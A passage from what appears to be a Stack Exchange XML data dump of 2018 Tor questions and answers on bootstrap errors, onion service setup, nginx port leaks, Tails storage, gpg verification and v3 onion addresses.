noreferrer&quot;&gt;https://trac.torproject.org/projects/tor/wiki/doc/HiddenServiceNames&lt;/a&gt;&#xA;&lt;a href=&quot;https://www.expressvpn.com/blog/how-to-create-a-onion-address/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.expressvpn.com/blog/how-to-create-a-onion-address/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="22391" LastActivityDate="2018-06-25T00:42:40.077" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17339" PostTypeId="1" CreationDate="2018-06-25T16:56:03.810" Score="1" ViewCount="838" Body="&lt;p&gt;Log:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;26-Jun-18 10:49:10 AM.900 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;26-Jun-18 10:49:10 AM.900 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;26-Jun-18 10:49:10 AM.900 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;26-Jun-18 10:49:10 AM.900 [NOTICE] Opening Socks listener on 127.0.0.1:9150 &#xA;26-Jun-18 10:49:11 AM.800 [NOTICE] Bootstrapped 5%: Connecting to directory server &lt;/p&gt;&#xA;&#xA;&lt;p&gt;26-Jun-18 10:49:14 AM.200 [NOTICE] Bootstrapped 10%: Finishing handshake with directory server &lt;/p&gt;&#xA;&#xA;&lt;p&gt;26-Jun-18 10:49:15 AM.700 [NOTICE] Bootstrapped 15%: Establishing an encrypted directory connection &lt;/p&gt;&#xA;&#xA;&lt;p&gt;26-Jun-18 10:49:16 AM.100 [NOTICE] Bootstrapped 20%: Asking for networkstatus consensus &lt;/p&gt;&#xA;&#xA;&lt;p&gt;26-Jun-18 10:49:16 AM.400 [NOTICE] Bootstrapped 25%: Loading networkstatus consensus &lt;/p&gt;&#xA;&#xA;&lt;p&gt;26-Jun-18 10:49:22 AM.600 [NOTICE] Bootstrapped 80%: Connecting to the Tor network &lt;/p&gt;&#xA;&#xA;&lt;p&gt;26-Jun-18 10:49:22 AM.600 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;26-Jun-18 10:49:23 AM.200 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;26-Jun-18 10:49:24 AM.200 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;26-Jun-18 10:49:25 AM.200 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;26-Jun-18 10:49:26 AM.200 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;26-Jun-18 10:49:27 AM.200 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;26-Jun-18 10:49:28 AM.200 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;26-Jun-18 10:49:29 AM.200 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;26-Jun-18 10:49:30 AM.200 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;26-Jun-18 10:49:31 AM.200 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;26-Jun-18 10:49:32 AM.200 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;26-Jun-18 10:49:33 AM.200 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;26-Jun-18 10:49:34 AM.200 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;26-Jun-18 10:49:35 AM.200 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;26-Jun-18 10:49:36 AM.200 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;26-Jun-18 10:49:37 AM.200 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;26-Jun-18 10:49:38 AM.200 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;26-Jun-18 10:49:39 AM.200 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;26-Jun-18 10:49:40 AM.200 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;26-Jun-18 10:49:41 AM.200 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;26-Jun-18 10:49:42 AM.200 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;26-Jun-18 10:49:43 AM.200 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;26-Jun-18 10:49:44 AM.200 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please help&lt;/p&gt;&#xA;" OwnerUserId="22396" LastActivityDate="2022-04-08T21:05:40.527" Title="Tor not connecting to relays" Tags="|tor-browser-bundle|configuration|connection|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17344" PostTypeId="2" ParentId="17333" CreationDate="2018-06-26T00:22:11.470" Score="0" Body="&lt;p&gt;As far as I understand, the entire data going via Tor is encrypted. So, if the attacker just sits in front of their computer and does not go to your home, they does not know what sites you visit via Tor. But, unfortunately, you are in a big trouble, if someone (a criminal, or a government agent, etc.) wants to &lt;a href=&quot;https://en.wikipedia.org/wiki/Rubber-hose_cryptanalysis&quot; rel=&quot;nofollow noreferrer&quot;&gt;enforce you to say your secrets&lt;/a&gt;. I hope it is not.&lt;/p&gt;&#xA;" OwnerUserId="22402" LastActivityDate="2018-06-26T00:22:11.470" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17345" PostTypeId="2" ParentId="17333" CreationDate="2018-06-26T04:31:08.723" Score="1" Body="&lt;p&gt;What tor can NOT protect against is monitoring and rogue software installed on your computer. If there is no monitoring software or viruses on your computer, then someone monitoring your internet connection at your physical location can of  course distinguish you are using tor, but will not be able to tell what websites you are visiting through tor.&lt;/p&gt;&#xA;" OwnerUserId="21052" LastActivityDate="2018-06-26T04:31:08.723" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17346" PostTypeId="1" CreationDate="2018-06-26T06:27:49.670" Score="0" ViewCount="1852" Body="&lt;p&gt;I am trying to watch live FIFA matches on this &lt;a href=&quot;https://www.fubo.tv/welcome&quot; rel=&quot;nofollow noreferrer&quot;&gt;site&lt;/a&gt; which is not available in my country so I am using Tor. However Tor is not hiding my location.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Screenshot explains it better&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/LpcMN.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/LpcMN.png&quot; alt=&quot;screenshot&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="22406" LastEditorUserId="20628" LastEditDate="2018-08-01T19:20:54.033" LastActivityDate="2020-04-23T03:04:05.447" Title="Tor is not hiding my location" Tags="|tor-browser-bundle|location|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17347" PostTypeId="2" ParentId="17346" CreationDate="2018-06-26T09:37:23.517" Score="0" Body="&lt;blockquote&gt;active content, such as Java, Javascript, Adobe Flash, Adobe Shockwave, QuickTime, RealAudio, ActiveX controls, and VBScript &amp;lt;...&amp;gt; can access anything that your user account can access. Some of these technologies, such as Java and Adobe Flash for instance, &amp;lt;...&amp;gt; may have the ability to ignore your configured proxy settings, and therefore bypass Tor and share information directly to other sites &amp;lt;...&amp;gt; may be able to store data, such as cookies, completely separate from your browser or operating system data stores. Therefore, these technologies must be disabled in your browser to use Tor safely. &amp;lt;...&amp;gt; Alternatively, you may find a Live CD or USB operating system more to your liking.&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Source: &lt;a href=&quot;https://www.torproject.org/docs/faq.html.en#AmITotallyAnonymous&quot; rel=&quot;nofollow noreferrer&quot;&gt;So I'm totally anonymous if I use Tor?&lt;/a&gt; (See it for more details.)&lt;/p&gt;&#xA;" OwnerUserId="22402" LastActivityDate="2018-06-26T09:37:23.517" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17350" PostTypeId="1" CreationDate="2018-06-27T09:02:10.503" Score="1" ViewCount="1386" Body="&lt;p&gt;Okay so I'm fairly new to actually using Tor, but I have known about it for years. I have read many things on how to stay secure and anonymous while on Tor. I also have the Tor browser security settings on max, so the safest ones yet also the strictest. My question is how come when i visit a .onion address such as the hidden wiki why is it when i click on the information button on the left of the address bar say your connection is not secure or encrypted? Should i be worried and mainly how do i fix this ,or am i just worrying to much and this is just normal? I'm just excited and want to explore the deep web ,but more importantly do it securely and anonymously. So i will delay my exploration until this issue is resolved. Thank you all in advanced if you can help me with this issue have a great day. &lt;/p&gt;&#xA;" OwnerUserId="22413" LastActivityDate="2018-08-02T11:01:02.853" Title="Why is it when i go to .onion sites that I'm told that my connection is not secure or encrytped?" Tags="|tor-browser-bundle|onion-services|security|connection|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17354" PostTypeId="1" AcceptedAnswerId="17376" CreationDate="2018-06-27T22:06:39.150" Score="0" ViewCount="357" Body="&lt;p&gt;From the limited amount I understand, tails runs on the ram of the computer you boot it to. So what decides the storage capacity? (Regular storage, not persistent storage.) For instance, when i download a file it is automatically saved to the file Tor Browser, not Tor Browser (persistant). Does that mean that the file is stored on the ram, therefore the capacity is dependent on how much ram the system has? Minus however much the os is using? Or is it stored somewhere else?&lt;/p&gt;&#xA;" OwnerUserId="22418" LastActivityDate="2018-07-03T08:48:10.467" Title="Tails storage size" Tags="|tails|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17356" PostTypeId="2" ParentId="17339" CreationDate="2018-06-28T11:59:03.640" Score="0" Body="&lt;p&gt;I see same problem. Is particularly a problem when using obfs4 (and 3) bridges. They seem to be blocked or directed towards specific obfs entry points. &#xA;Use another bridge method e.g. fte or meek until obfs method is restored&lt;/p&gt;&#xA;" OwnerUserId="22422" LastActivityDate="2018-06-28T11:59:03.640" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17357" PostTypeId="1" CreationDate="2018-06-28T12:37:53.787" Score="0" ViewCount="171" Body="&lt;p&gt;Mac OS X High Sierra - TorBrowser 7.5.6 (based on Mozilla Firefox 52.9.0)&#xA;I cannot use LastPass because the login window will not popup from the top window menu (the black square with three dots).&#xA;I tried unblocking popups, which unfortunately didn't help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What should I do?&lt;/p&gt;&#xA;" OwnerUserId="22423" LastEditorUserId="20628" LastEditDate="2018-07-16T19:22:10.127" LastActivityDate="2021-10-23T18:37:19.930" Title="LastPass extension - cannot login" Tags="|tor-browser-bundle|add-on|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="17362" PostTypeId="1" CreationDate="2018-06-29T16:43:27.497" Score="0" ViewCount="261" Body="&lt;p&gt;I am trying to install Tor in English, and have downloaded different Windows versions from here: &#xA;&lt;a href=&quot;https://www.torproject.org/projects/torbrowser.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.torproject.org/projects/torbrowser.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am running Win 8.1 on a Lenovo laptop.  I keep getting the message &quot;This app can't run on your pc&quot; on a big bar across my screen each time I try to double click on it.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have downloaded the files by right-clicking on the 'sig' and then choosing &quot;save as&quot;, as well as just clicking on it.  I then remove the &quot;asc&quot; from the end and double click to install.  That's when I get the error message. I have also tried right clicking on the files themselves (I downloaded different versions when the earlier ones did not work) and choosing Run As Administrator, but then I get a little windowed message that says: &quot;Windows cannot find (then it gives me the path and name of the file)&quot;.  I have also gone into the files properties and &quot;unblocked&quot; them.  Nothing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone help?  &lt;/p&gt;&#xA;" OwnerUserId="22436" LastActivityDate="2018-06-29T17:32:31.447" Title="Almost (crosses fingers) New User, getting Error: &quot;This app can't run on your pc&quot;" Tags="|error|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17363" PostTypeId="2" ParentId="17362" CreationDate="2018-06-29T17:32:31.447" Score="1" Body="&lt;p&gt;The application is under 32-bit, 64-bit or 32/64-bit link, depending on OS. (sig) contains only signature of the application, for integrity checking purposes.&lt;/p&gt;&#xA;" OwnerUserId="20437" LastActivityDate="2018-06-29T17:32:31.447" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="17364" PostTypeId="1" CreationDate="2018-06-30T23:34:54.567" Score="1" ViewCount="5312" Body="&lt;p&gt;Tor browser is stopped starting /connecting by Windows Defender Controlled Folder access.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have in Windows defender registrated the Tor Browser .exe file, but Windows Defender Controlled Folder access continues to stop Tor starting up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After I turned the Control Folder OFF using the procedure below Tor Browser starts up normally.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Select Start  &gt; Settings .&lt;/li&gt;&#xA;&lt;li&gt;Choose Update &amp;amp; security  &gt; Windows Defender.&lt;/li&gt;&#xA;&lt;li&gt;Select Open Windows Defender Security Center.&lt;/li&gt;&#xA;&lt;li&gt;Select Virus &amp;amp; threat protection, and then choose Virus &amp;amp; threat &#xA;protection settings.&lt;/li&gt;&#xA;&lt;li&gt;Under Controlled folder access, turn it on or off.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;What settings in Windows Defender Controlled Folder Access are needed to have Tor Browser working normally again when the Controlled Folder turned ON.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bgrds&#xA;Peter&lt;/p&gt;&#xA;" OwnerUserId="22443" LastActivityDate="2018-09-12T11:34:14.290" Title="Tor Browser stopped by Windows defender Controlled Folder Access" Tags="|windows|connection|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="17365" PostTypeId="2" ParentId="16897" CreationDate="2018-07-01T00:39:25.207" Score="1" Body="&lt;p&gt;The error &quot;unknown pubkey algorithm&quot; is a consequence of (a) the fact that on my machine, the &lt;code&gt;gpg&lt;/code&gt; command defaults to using &lt;code&gt;gpg1&lt;/code&gt;, (b) &lt;code&gt;gpg1&lt;/code&gt; does not support the use of elliptic-curve cryptographic algorithms, and finally, (c)  the Tails version I was trying to verify was signed using an elliptic-curve algorithm. For a discussion about the history of &lt;code&gt;gpg&lt;/code&gt;, see the &lt;a href=&quot;https://en.wikipedia.org/wiki/GNU_Privacy_Guard&quot; rel=&quot;nofollow noreferrer&quot;&gt;Wikipedia entry&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The solution is to ensure that &lt;code&gt;gpg2&lt;/code&gt; is used instead of &lt;code&gt;gpg1&lt;/code&gt;. So, for example, the verification command would read&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;gpg2 --keyid-format 0xlong --verify tails-amd64-3.6.1.iso.sig tails-amd64-3.6.1.iso&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="435" LastActivityDate="2018-07-01T00:39:25.207" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17366" PostTypeId="1" AcceptedAnswerId="17370" CreationDate="2018-07-01T18:33:04.287" Score="1" ViewCount="920" Body="&lt;p&gt;I have my .onion service running:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://oeptyn6jtusgda63.onion/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://oeptyn6jtusgda63.onion/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When i try to open wrong link, my TorBrowser shows me an error like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Firefox can’t establish a connection to the server at oeptyn6jtusgda63.onion:&lt;strong&gt;7541&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there some way i can prevent nginx to leak my server port number?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have learned myself, that nginx first send redirection (http code 301) that leaks my port number. Is there some way i can disable it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPD&lt;/strong&gt; :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This happens when i try to access some directory, like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://oeptyn6jtusgda63.onion/zip&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://oeptyn6jtusgda63.onion/zip&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="22444" LastEditorUserId="22444" LastEditDate="2018-07-01T18:52:35.193" LastActivityDate="2019-04-11T18:14:16.430" Title="nginx leaks my hidden service port number" Tags="|onion-services|information-leaks|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="17370" PostTypeId="2" ParentId="17366" CreationDate="2018-07-02T08:40:01.270" Score="2" Body="&lt;p&gt;I fixed it myself. I just added this directive to &lt;code&gt;nginx.conf&lt;/code&gt; :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;port_in_redirect off;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This directive briefly described in nginx doc: &lt;a href=&quot;https://nginx.org/en/docs/http/ngx_http_core_module.html#port_in_redirect&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://nginx.org/en/docs/http/ngx_http_core_module.html#port_in_redirect&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="22444" LastEditorUserId="20628" LastEditDate="2018-07-16T19:21:45.693" LastActivityDate="2018-07-16T19:21:45.693" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="17371" PostTypeId="2" ParentId="4611" CreationDate="2018-07-03T08:02:41.060" Score="1" Body="&lt;p&gt;&lt;strong&gt;tl;dr&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You're most likely fine with electrum.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Since the threat described in the paper only applies to full nodes you should be fine when using electron over Tor, since the electron collects to specified (and somewhat trusted) electron servers and not to p2p nodes. Electron also uses it's own protocol.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For more anonymity you might want to connect to a electron node through a hidden service.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As far as I understood the paper your real IP could be revealed through a cookie (in the bitcoin client) which is set by attacker and can be read through the Tor IP and your real IP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Personally I wouldn't use the blockchain.info wallet since it only connects to blockchain.info servers and therefore isn't decentralized at all. &lt;/p&gt;&#xA;" OwnerUserId="20628" LastActivityDate="2018-07-03T08:02:41.060" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17372" PostTypeId="2" ParentId="15397" CreationDate="2018-07-03T08:12:20.013" Score="1" Body="&lt;p&gt;Most likely your Tor installer is corrupted.&#xA;I recommend redownloading it from the &lt;a href=&quot;https://torproject.org&quot; rel=&quot;nofollow noreferrer&quot;&gt;torproject website&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it still not works, see &lt;a href=&quot;https://answers.microsoft.com/en-us/windows/forum/windows_7-windows_programs/error-installer-integrity-check-has-failed-common/c2e96749-6181-487c-80ec-3a0e24c32325&quot; rel=&quot;nofollow noreferrer&quot;&gt;this&lt;/a&gt; question.&lt;/p&gt;&#xA;" OwnerUserId="20628" LastActivityDate="2018-07-03T08:12:20.013" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17373" PostTypeId="2" ParentId="17350" CreationDate="2018-07-03T08:23:15.453" Score="1" Body="&lt;p&gt;&lt;strong&gt;tl;dr&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Every connection to a hidden service is anonymous and encrypted. This is just a UX bug.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;The absence of a lock (or a &quot;secure connection&quot; message) just means that the site you're connected to doesn't uses TLS. However since your connecting to the site using a hidden service, the connection is encrypted no matter if TLS is used or not. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The UX of this has been improved in the current alpha version of Tor (See &lt;a href=&quot;https://trac.torproject.org/projects/tor/ticket/23247&quot; rel=&quot;nofollow noreferrer&quot;&gt;Ticket&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Screenshot of new UX&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/RLQaZ.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/RLQaZ.png&quot; alt=&quot;screenshot&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="20628" LastActivityDate="2018-07-03T08:23:15.453" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17374" PostTypeId="2" ParentId="17324" CreationDate="2018-07-03T08:28:53.060" Score="1" Body="&lt;p&gt;Riseup.net has a HS best practices guide which they use for their own hidden services.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can definitely recommend it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Check it out:&#xA;&lt;a href=&quot;https://riseup.net/en/security/network-security/tor/onionservices-best-practices&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://riseup.net/en/security/network-security/tor/onionservices-best-practices&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="20628" LastActivityDate="2018-07-03T08:28:53.060" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17375" PostTypeId="2" ParentId="17357" CreationDate="2018-07-03T08:37:19.433" Score="1" Body="&lt;p&gt;This is most likely the cause of some Tor browser specific security/privacy reinforcements. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyways, you shouldn't install additional addons in Tor browser since this can deanonymize you.&lt;/p&gt;&#xA;" OwnerUserId="20628" LastActivityDate="2018-07-03T08:37:19.433" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17376" PostTypeId="2" ParentId="17354" CreationDate="2018-07-03T08:48:10.467" Score="0" Body="&lt;p&gt;According to the Tails documentation all data gets saved to RAM, where it stays for as long as Tails is running (See &lt;a href=&quot;https://tails.boum.org/about/index.en.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/aMKwZ.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/aMKwZ.png&quot; alt=&quot;tails-screenshot&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since only RAM is used as regular storage it makes sence that the size of the RAM decides the storage capacity.&lt;/p&gt;&#xA;" OwnerUserId="20628" LastActivityDate="2018-07-03T08:48:10.467" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17377" PostTypeId="1" CreationDate="2018-07-03T15:58:01.437" Score="0" ViewCount="143" Body="&lt;p&gt;I have just got a pre owned computer that has been wiped. I'm really wanting to put Linux mint on it as the OS.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a tails usb that I use to access tor and was wondering if anyone knows how I can burn Linux mint to a separate usb through tor. I really don't want to have to download windows.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="22459" LastActivityDate="2018-12-20T22:12:14.933" Title="Downloading linux mint through tor" Tags="|tails|linux|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17378" PostTypeId="1" CreationDate="2018-07-03T16:08:43.013" Score="2" ViewCount="2769" Body="&lt;p&gt;Some number of years ago, I heard that one of the reasons that Tor does not allow anything longer than a 1024-bit RSA key as an onion service's private key is because the address would be a lot longer, meanwhile they're already uncomfortably long and hard to remember.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I just came across &lt;a href=&quot;https://tor.stackexchange.com/questions/17336/cloudflares-new-onion-dns-resolver&quot;&gt;this question&lt;/a&gt; regarding CloudFlare's new access channel to their 1.1.1.1 DNS resolver over a Tor Hidden Service, and the appearance of the address shocked me: &lt;a href=&quot;https://dns4torpnlfs2ifuz2s2yf3fc7rdmsbhm6rw75euj35pac6ap25zgqad.onion/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://dns4torpnlfs2ifuz2s2yf3fc7rdmsbhm6rw75euj35pac6ap25zgqad.onion/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How on Earth is the address that long? I don't have the resources to test right now, nor have I found any explanations online, but this looks like the result of the Tor Project implementing longer RSA keys for hidden services. Is that true? If not, what is going on here? The address is valid and accessible, I was able to check that.&lt;/p&gt;&#xA;" OwnerUserId="13129" LastActivityDate="2018-07-04T18:42:36.433" Title="What is up with these longer onion addresses?" Tags="|onion-services|dns|cloudflare|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17379" PostTypeId="2" ParentId="17378" CreationDate="2018-07-03T16:48:32.893" Score="2" Body="&lt;p&gt;After a bit of searching, I did find &lt;a href=&quot;https://blog.torproject.org/tor-0321-alpha-released-support-next-gen-onion-services-and-kist-scheduler&quot; rel=&quot;nofollow noreferrer&quot;&gt;this article&lt;/a&gt;. It seems that I'm a little behind the times, so to make up for asking a silly question, I'll answer it for anyone still wondering:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Technical Backstory&lt;/strong&gt;:&#xA;One of the problems with public/private key cryptography such as the RSA algorithm which powers &lt;em&gt;a lot&lt;/em&gt; of online security today, including Tor Onion Services, is that they'll be much easier to crack when quantum computing becomes feasible in the next few decades. A solution? Elliptic-curve cryptography (ECC). Instead of using prime factorization as in RSA, ECC uses some fancier math (which I'm not too familiar with, so I won't try to describe) that is supposedly &quot;quantum-resistant.&quot; In other words, the protocols should remains secure even after the quantum computing epoch.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;So what did the Tor Project do?&lt;/strong&gt; Well, they were smart. Instead of just upgrading to 2048-bit RSA keys to resist the attacks of faster computing, they upgraded to ECC to resist the attacks of quantum computing. They're referring to these new key types as V3 Onion Addresses.&#xA;The address is so long because it &lt;em&gt;is&lt;/em&gt; the public key, not just the hash like it is with standard V2 Onion Addresses. This is, although not drastically more secure, still a notable security increase. This new cryptography should be less taxing on lower-end processing equipment, for those of you running heavy Onion Services on the Raspberry Pi.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Though this new standard was released in September of 2017, the Tor Project is taking it slow, ensuring that the new standard goes through proper testing. So V2 addresses are still the standard default, but you can try out V3 by adding &lt;code&gt;HiddenServiceVersion 3&lt;/code&gt; to your torrc file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These are very exciting times.&#xA;If you've found any information in this summary to be misleading or innacurate, please make a comment and I'll do my best to correct it. I was never a straight-A student when it came to math ;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: Yeah apparently this particular ECC algorithm is not quantum resistant. But it is still faster and more future-proof. The whole HSDirs not being able to snoop on addresses is also very cool. Shoutout to bn4t for the corrections&lt;/p&gt;&#xA;" OwnerUserId="13129" LastEditorUserId="13129" LastEditDate="2018-07-04T18:42:36.433" LastActivityDate="2018-07-04T18:42:36.433" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="17380" PostTypeId="2" ParentId="17346" CreationDate="2018-07-04T07:54:59.277" Score="1" Body="&lt;p&gt;In tor browser, try going to &lt;a href=&quot;https://www.ip-tracker.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.ip-tracker.org/&lt;/a&gt;. This will verify weather tor is hiding your location or not. If the site does show your real location in tor browser than yes your tor is not working correctly. However if it shows an unknown location the tor is working correctly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The issue you are describing does not sound tor related; what's most likely happening is this website is ONLY accepting ip addresses from their approved country list, or they are resolving the ip address and dter&lt;/p&gt;&#xA;" OwnerUserId="21052" LastActivityDate="2018-07-04T07:54:59.277" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
